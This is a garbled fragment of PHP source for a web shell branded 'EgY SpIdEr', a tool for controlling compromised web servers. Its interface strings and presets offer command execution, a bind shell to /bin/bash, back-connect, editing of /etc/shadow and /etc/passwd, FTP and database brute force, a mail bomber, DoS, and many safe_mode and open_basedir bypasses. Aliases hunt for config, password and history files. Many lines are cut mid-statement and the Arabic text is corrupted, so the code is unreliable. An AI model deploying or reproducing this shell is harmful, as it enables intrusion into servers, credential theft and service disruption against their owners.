@unlink($tempdir.'bdpl');
@unlink($tempdir.'back');
@unlink($tempdir.'bd');
@unlink($tempdir.'bd.c');
@unlink($tempdir.'dp');
@unlink($tempdir.'dpc');
@unlink($tempdir.'dpc.c');
@unlink($tempdir.'prxpl');
@unlink($tempdir.'grep.txt');
}
{
echo $head;
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2
color=red><div align=center><b>Directive</b></div></font></td><td
bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local
Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2
color=red><div align=center><b>Master Value</b></div></font></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.
$key.'</b></font></td><td><font face=Verdana size=-2><div
align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font
face=Verdana size=-2><div
align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
}
echo $r;
echo '</table>';
}
$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
die();
}
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font
face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table
width=100%>';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-
2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div
align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> ---
</b></font></div></td></tr>';
}
echo '</table>';
die();
}
{
echo $head;
face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table
width=100%>';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-
2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> ---
}
echo '</table>';
die();
}
if(isset($_GET['egy']))
{
echo $head;
face=tahoma size=-2 color=red><b>EgY
SpIdEr</b></font></div></td></tr></table><table width=100%>';
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-
2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div
align="center">
<font face="tahoma" size="-2"><b>
<p align="center"> </p>
<p align="center">
<font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings"
color="#800000">
<IFRAME WIDTH=100% HEIGHT=671
SRC="http://egyfree.org/about.htm"></IFRAME></font></p>
<div id="n" align="center">
</div>
<p> </font></b></div>
}
echo '</table>';
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".
$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['news']))
{
echo $head;
face=tahoma size=-2 color=red><b>EgY
SpIdEr</b></font></div></td></tr></table><table width=100%>';
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=tahoma size=-
2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div
align="center">
<font face="tahoma" size="-2"><b>
<p align="center">
<font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings"
color="#800000">
<IFRAME WIDTH=100% HEIGHT=671
SRC="http://egyfree.org/news.htm"></IFRAME></font></p>
<div id="n" align="center">
</div>
<p> </font></b></div>
}
echo '</table>';
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".
$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
{$_POST['cmd'] = 'systeminfo';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
{$_POST['cmd']='cat /proc/cpuinfo';}
{$_POST['cmd']='cat /proc/version';}
{$_POST['cmd'] = 'free';}
{$_POST['cmd'] = 'dmesg(8)';}
{$_POST['cmd'] = 'vmstat';}
{$_POST['cmd'] = 'lspci';}
{$_POST['cmd'] = 'lsdev';}
{$_POST['cmd']='cat /proc/interrupts';}
{$_POST['cmd'] = 'cat /etc/*realise';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
{$_POST['cmd'] = 'lsattr -va';}
{$_POST['cmd'] = 'w';}
{$_POST['cmd'] = 'who';}
{$_POST['cmd'] = 'uptime';}
{$_POST['cmd'] = 'last -n 10';}
{$_POST['cmd'] = 'ps -aux';}
{$_POST['cmd'] = 'service --status-all';}
{$_POST['cmd'] = 'ifconfig';}
{$_POST['cmd'] = 'netstat -a';}
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
{$_POST['cmd'] = 'fdisk -l';}
{$_POST['cmd'] = 'df -h';}
#if(isset($_GET['']))
# {$_POST['cmd'] = '';}
$lang=array(
'ar_text1' =>'�� ',
'ar_text2' =>'�� ',
'ar_text3' =>'�� ',
'ar_text4' =>'�� ',
'ar_text5' =>'�� ',
'ar_text6' =>'�� ',
'ar_text7' =>'�� ',
'ar_text8' =>'�� ',
'ar_butt1' =>'��',
'ar_butt2' =>'��',
'ar_text9' =>'�� /bin/bash',
'ar_text10'=>'��',
'ar_text11'=>'�� ',
'ar_butt3' =>'��',
'ar_text12'=>'�� ',
'ar_text13'=>'�� ',
'ar_text14'=>'��',
'ar_butt4' =>'��',
'ar_text15'=>'�� ',
'ar_text16'=>'�� ',
'ar_text17'=>'�� ',
'ar_text18'=>'�� ',
'ar_text19'=>'Exploits',
'ar_text20'=>'��',
'ar_text21'=>'�� ',
'ar_text22'=>'�� ',
'ar_text23'=>'�� ',
'ar_text24'=>'�� ',
'ar_text25'=>'�� ',
'ar_text26'=>'��',
'ar_butt5' =>'��',
'ar_text28'=>'�� ',
'ar_text29'=>'�� ',
'ar_butt6' =>'��',
'ar_text30'=>'�� ',
'ar_butt7' =>'��',
'ar_text31'=>'�� ',
'ar_text32'=>'�� php �� eval',
'ar_text33'=>'Test bypass open_basedir with cURL functions',
'ar_butt8' =>'��',
'ar_text34'=>'�� include',
'ar_text35'=>'�� Mysql',
'ar_text36'=>'�� . ��',
'ar_text37'=>'�� ',
'ar_text38'=>'�� ',
'ar_text39'=>'��',
'ar_text40'=>'�� ',
'ar_butt9' =>'��',
'ar_text41'=>'�� ',
'ar_text42'=>'�� ',
'ar_text43'=>'�� ',
'ar_butt10'=>'��',
'ar_text44'=>'�� ',
'ar_text45'=>'�� ',
'ar_text46'=>'�� phpinfo()',
'ar_text47'=>'�� php.ini',
'ar_text48'=>'�� temp',
'ar_butt11'=>'�� ',
'ar_text49'=>'�� ',
'ar_text50'=>'�� ',
'ar_text51'=>'�� ',
'ar_text52'=>'�� ',
'ar_text53'=>'�� ',
'ar_text54'=>'�� ',
'ar_butt12'=>'��',
'ar_text55'=>'�� ',
'ar_text56'=>'�� :(',
'ar_text57'=>'��/�� /��',
'ar_text58'=>'��',
'ar_text59'=>'��',
'ar_text60'=>'��',
'ar_butt13'=>'�� /��',
'ar_text61'=>'�� ',
'ar_text62'=>'�� ',
'ar_text63'=>'�� ',
'ar_text64'=>'�� ',
'ar_butt65'=>'��',
'ar_text66'=>'��',
'ar_text67'=>'��/��/��',
'ar_text68'=>'��',
'ar_text69'=>'�� ',
'ar_text70'=>'��',
'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or
UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'ar_text72'=>'�� ',
'ar_text73'=>'�� ',
'ar_text74'=>'�� ',
'ar_text75'=>'* you can use regexp',
'ar_text76'=>'�� find',
'ar_text80'=>'��',
'ar_text81'=>'��',
'ar_text82'=>'�� ',
'ar_text83'=>'�� ',
'ar_text84'=>'�� ',
'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'ar_text86'=>'�� ',
'ar_butt14'=>'��',
'ar_text87'=>'�� ',
'ar_text88'=>'�� :��',
'ar_text89'=>'�� ',
'ar_text90'=>'�� ',
'ar_text91'=>'��',
'ar_text92'=>'�� ',
'ar_text93'=>'�� ',
'ar_text94'=>'�� ',
'ar_text95'=>'�� ',
'ar_text96'=>'�� ',
'ar_text97'=>'�� : ',
'ar_text98'=>'�� : ',
'ar_text99'=>'* �� /etc/passwd �� ftp',
'ar_text100'=>'�� ',
'ar_text101'=>'�� ',
'ar_text102'=>'�� ',
'ar_text103'=>'�� ',
'ar_text104'=>'�� ',
'ar_text105'=>'��',
'ar_text106'=>'��',
'ar_text107'=>'��',
'ar_butt15'=>'��',
'ar_text108'=>'��',
'ar_text109'=>'��',
'ar_text110'=>'��',
'ar_text111'=>'�� : ��',
'ar_text112'=>'�� mb_send_mail',
'ar_text113'=>'�� via imap_list',
'ar_text114'=>'�� via imap_body',
'ar_text115'=>'�� compress.zlib://',
'ar_text116'=>'�� ',
'ar_text117'=>'��',
'ar_text118'=>'�� ',
'ar_text119'=>'�� ',
'ar_err0'=>'�� ! �� ',
'ar_err1'=>'�� ! �� ',
'ar_err2'=>'��! �� ',
'ar_err3'=>'��! �� ',
'ar_err4'=>'�� ! �� ',
'ar_err5'=>'�� ! �� ',
'ar_err6'=>'�� ! �� ',
'ar_err7'=>'�� ',
'ar_text200'=>'copy()�� ',
'ar_text202'=>'�� ',
'ar_text300'=>'curl()�� ',
'ar_text203'=>'ini_restore()�� ',
'ar_text204'=>'error_log()�� ',
'ar_text205'=>'�� ',
'ar_text206'=>'�� ',
'ar_text207'=>'�� reg_glob',
'ar_text208'=>'�� ',
'ar_text209'=>'�� root',
'ar_text210'=>'�� ',
'ar_text211'=>'::�� ::',
'ar_text212'=>'php.ini �� ',
'ar_text213'=>'htacces �� ',
'ar_text214'=>'�� ',
'ar_text215'=>'�� IRC ',
'ar_text216'=>'# �� ',
'ar_text217'=>'�� ',
'ar_text218'=>'�� ini_restore �� ',
'ar_text219'=>'�� ',
'ar_text220'=>'�� symlink �� ',
'ar_text221'=>'�� (��
�� )1',
'ar_text222'=>'�� symlink �� ',
'ar_text223'=>'�� ',
'ar_text224'=>'PLUGIN �� ',
'ar_text143'=>'��: ',
'ar_text65'=>'��',
'ar_text33'=>'�� open_basedir with cURL functions(PHP <= 4.4.2,

5.1.4)',
'ar_text34'=>'�� include function',
'ar_text35'=>'�� load file in mysql',
'ar_text85'=>'�� commands execute via MSSQL server',
'ar_text112'=>'�� function mb_send_mail() (PHP <= 4.0-
4.2.2, 5.x)',
'ar_text113'=>'�� safe_mode, view dir list via imap_list() (PHP <=
5.1.2)',
'ar_text114'=>'�� safe_mode, view file contest via imap_body() (PHP
<= 5.1.2)',
'ar_text115'=>'�� safe_mode, copy file via copy(compress.zlib://)
(PHP <= 4.4.2, 5.1.2)',
'ar_text116'=>'Copy from',
'ar_text117'=>'to',
'ar_text118'=>'File copied',
'ar_text119'=>'Cant copy file',
'ar_text120'=>'�� safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by
NST',
'ar_text121'=>'�� open_basedir, view dir list via fopen (PHP v4.4.0
memory leak) by NST',
'ar_text122'=>'�� open_basedir, view dir list via glob() (PHP <=
5.2.x)',
'ar_text123'=>'�� open_basedir, read *.bzip file via
[compress.bzip2://] (PHP <= 5.2.1)',
'ar_text124'=>'�� open_basedir, add data to file via
error_log(php://) (PHP <= 5.1.4, 4.4.2)',
'ar_text126'=>'�� open_basedir, create file via
session_save_path[NULL-byte] (PHP <= 5.2.0)',
readfile(php://) (PHP <= 5.2.1, 4.4.4)',
'ar_text128'=>'Modify/Access file (touch)',
'ar_text129'=>'�� open_basedir, create file via fopen(srpath://)
(PHP v5.2.0)',
'ar_text130'=>'�� open_basedir, read *.zip file via [zip://] (PHP <=
5.2.1)',
'ar_text131'=>'�� open_basedir, view file contest via symlink() (PHP
<= 5.2.1)',
'ar_text132'=>'�� open_basedir, view dir list via symlink() (PHP <=
5.2.1)',
session_save_path(TMPDIR) (PHP <= 5.2.4)',
'ar_err3'=>'Error! Can\'t connect to ftp',
'ar_err4'=>'Error! Can\'t login on ftp server',
'ar_err5'=>'Error! Can\'t change dir on ftp',
'ar_err6'=>'Error! Can\'t sent mail',
'ar_err7'=>'Mail send',
'ar_text1' =>'Executed command',
'ar_text2' =>'Execute command on server',
'ar_text33'=>'�� open_basedir with cURL functions(PHP <= 4.4.2,
5.1.4)',
'ar_text34'=>'�� include function',
'ar_text35'=>'�� load file in mysql',
'ar_text112'=>'�� function mb_send_mail() (PHP <= 4.0-
4.2.2, 5.x)',
'ar_text113'=>'�� safe_mode, view dir list via imap_list() (PHP <=
5.1.2)',
'ar_text114'=>'�� safe_mode, view file contest via imap_body() (PHP
<= 5.1.2)',
'ar_text115'=>'�� safe_mode, copy file via copy(compress.zlib://)
(PHP <= 4.4.2, 5.1.2)',
'ar_text120'=>'�� safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by
NST',
'ar_text121'=>'�� open_basedir, view dir list via fopen (PHP v4.4.0
'ar_text122'=>'�� open_basedir, view dir list via glob() (PHP <=
5.2.x)',
'ar_text123'=>'�� open_basedir, read *.bzip file via
[compress.bzip2://] (PHP <= 5.2.1)',
error_log(php://) (PHP <= 5.1.4, 4.4.2)',
session_save_path[NULL-byte] (PHP <= 5.2.0)',
readfile(php://) (PHP <= 5.2.1, 4.4.4)',
(PHP v5.2.0)',
5.2.1)',
<= 5.2.1)',
5.2.1)',
'ar_text142'=>'Downloaders',
'ar_text137'=>'Useful',
(PHP v5.2.0)',
5.2.1)',
<= 5.2.1)',
5.2.1)',
'ar_text134'=>'Database-bruteforce',
'ar_text135'=>'Dictionary',
'ar_text136'=>'Creating evil symlink',
'ar_text137'=>'Useful',
'ar_text138'=>'Dangerous',
'ar_text139'=>'Mail Bomber',
'ar_text140'=>'DoS',
'ar_text141'=>'Danger! Web-daemon crash possible.',
'ar_text142'=>'Downloaders',
'ar_text143'=>'Temp: ',
'ar_text144'=>'�� load file in mysqli',
'ar_text145'=>'�� open_basedir, view dir list via realpath() (PHP <=
5.2.4)',
'ar_text146'=>'Max Interation',
'ar_text147'=>'',
'ar_text148'=>'',
'ar_text149'=>'',
'ar_text150'=>'',
'ar_err0'=>'Error! Can\'t write in file ',
'ar_err1'=>'Error! Can\'t read file ',
'ar_err2'=>'Error! Can\'t create ',
'ar_err3'=>'Error! Can\'t connect to ftp',
'ar_err4'=>'Error! Can\'t login on ftp server',
'ar_err5'=>'Error! Can\'t change dir on ftp',
'ar_err6'=>'Error! Can\'t sent mail',
'ar_err7'=>'Mail send',
'ar_text125'=>'Data',
'ar_text225'=>'�� 4.4.7 / 5.2.3 PHP ',
'ar_text226'=>'�� Root Directory: ',
'ar_text227'=>'�� 4.4.2/5.1.2',
'ar_text228'=>'�� ',
'ar_text230'=>'�� ',
/* --------------------------------------------------------------- */
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_butt3' =>'Bind',
'eng_butt4' =>'Connect',
'eng_butt5' =>'Run',
'eng_butt6' =>'Change',
'eng_butt7' =>'Show',
'eng_butt8' =>'Test',
'eng_butt9' =>'Dump',
'eng_butt10'=>'Save',
'eng_butt11'=>'Edit file',
'eng_butt12'=>'Find',
'eng_butt13'=>'Create/Delete',
'eng_butt14'=>'Download',
'eng_butt15'=>'Send',
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>' New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_text30'=>'Cat file',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'View cpu info',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text67'=>'Chown/Chgrp/Chmod',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without arch.',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'/etc/passwd',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu)',
'eng_text102'=>'Mail',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subj',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-
4.2.2, 5.x)',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <=
5.1.2)',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <=
5.1.2)',
'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP
<= 4.4.2, 5.1.2)',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by
NST',
'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0
'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <=
5.2.x)',
'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://]
(PHP <= 5.2.1)',
'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://)
(PHP <= 5.1.4, 4.4.2)',
'eng_text125'=>'Data',
'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-
byte] (PHP <= 5.2.0)',
'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://)
(PHP <= 5.2.1, 4.4.4)',
'eng_text128'=>'Modify/Access file (touch)',
'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP
v5.2.0)',
'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <=
5.2.1)',
'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <=
5.2.1)',
'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <=
5.2.1)',
'eng_text133'=>'Test bypass open_basedir, create file via
'eng_text134'=>'Database-bruteforce',
'eng_text135'=>'Dictionary',
'eng_text136'=>'Creating evil symlink',
'eng_text137'=>'Useful',
'eng_text138'=>'Dangerous',
'eng_text139'=>'Mail Bomber',
'eng_text140'=>'DoS',
'eng_text141'=>'Danger! Web-daemon crash possible.',
'eng_text142'=>'Downloaders',
'eng_text143'=>'Temp: ',
'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <=
5.2.4)',
'eng_text146'=>'Max Interation',
'eng_text147'=>'',
'eng_text148'=>'',
'eng_text149'=>'',
'eng_text150'=>'',
'eng_err0'=>'Error! Can\'t write in file ',
'eng_err1'=>'Error! Can\'t read file ',
'eng_err2'=>'Error! Can\'t create ',
'eng_err3'=>'Error! Can\'t connect to ftp',
'eng_err4'=>'Error! Can\'t login on ftp server',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_err6'=>'Error! Can\'t sent mail',
'eng_err7'=>'Mail send',
'eng_text13'=>'IP',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt65'=>'Create',
'eng_text88'=>'FTP-server:port',
'eng_text92'=>'without archivation',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function
copy()',
'eng_text200'=>'read file from vul copy()',
'eng_text500'=>'read file from id()',
'eng_text555'=>'read file from imap()',
'eng_text202'=>'where file in server',
'eng_text300'=>'read file from vul curl()',
'eng_text203'=>'read file from vul ini_restore()',
'eng_text204'=>'write shell from vul error_log()',
'eng_text205'=>'write shell in this side',
'eng_text206'=>'read dir',
'eng_text207'=>'read dir from vul reg_glob',
'eng_text208'=>'execute with function',
'eng_text209'=>'read dir from vul root',
'eng_text210'=>'DeZender ',
'eng_text211'=>'::safe_mode off::',
'eng_text212'=>'colse safe_mode with php.ini',
'eng_text213'=>'colse security_mod with .htaccess',
'eng_text214'=>'Admin name',
'eng_text215'=>'IRC server ',
'eng_text216'=>'#room name',
'eng_text217'=>'server',
'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
'eng_text225'=>'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ',
'eng_text226'=>'Safe Mode Bpass Root Directory: ',
'eng_text227'=>'Safe_Mode Bypass 4.4.2/5.1.2: ',
'eng_text228'=>'tools for hacker vb ',
'eng_text230'=>'know config and basedir Bypass for vb ',
'eng_text219'=>'Get file to server in safe_mode and change name',
'eng_text220'=>'show file with symlink vul',
'eng_text221'=>'zip file in server to download',
'eng_text222'=>'2 symlink use vul',
'eng_text223'=>'read file from funcution',
'eng_text224'=>'read file from PLUGIN ',
'eng_text13'=>'IP',
'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
'eng_text88'=>'server:port',
'eng_text92'=>'without arch.',
'eng_text99'=>'/etc/passwd',
'eng_text101'=>'Use reverse (user -> resu)',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-
4.2.2, 5.x)',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <=
5.1.2)',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <=
5.1.2)',
'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP
<= 4.4.2, 5.1.2)',
'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by
NST',
'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0
'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <=
5.2.x)',
'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://]
(PHP <= 5.2.1)',
'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://)
(PHP <= 5.1.4, 4.4.2)',
'eng_text125'=>'Data',
'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-
byte] (PHP <= 5.2.0)',
'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://)
(PHP <= 5.2.1, 4.4.4)',
'eng_text128'=>'Modify/Access file (touch)',
'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP
v5.2.0)',
'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <=
5.2.1)',
'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <=
5.2.1)',
'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <=
5.2.1)',
'eng_text133'=>'Test bypass open_basedir, create file via
'eng_text134'=>'Database-bruteforce',
'eng_text135'=>'Dictionary',
'eng_text136'=>'Creating evil symlink',
'eng_text137'=>'Useful',
'eng_text138'=>'Dangerous',
'eng_text139'=>'Mail Bomber',
'eng_text140'=>'DoS',
'eng_text141'=>'Danger! Web-daemon crash possible.',
'eng_text142'=>'Downloaders',
'eng_text143'=>'Temp: ',
'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <=
5.2.4)',
'eng_text146'=>'Max Interation',
'eng_text147'=>'',
'eng_text148'=>'',
'eng_text149'=>'',
'eng_text150'=>'',
);
/*
?????? ??????
????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ?????????
???? ????????? ???? )
?? ?????? ???? ????????? ??? ???????? ???????.
*/
$aliases=array(
'----------------------------------locate'=>'',
'find httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate proftpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate psybnc.conf'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate my.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate admin.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate cfg.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate conf.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate config.dat files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate config.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate config.inc files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate config.inc.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate config.default.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate .conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate .pwd files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate .sql files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate .htpasswd files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate .bash_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate .mysql_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate backup files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate dump files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate priv files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
'________________find orders ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
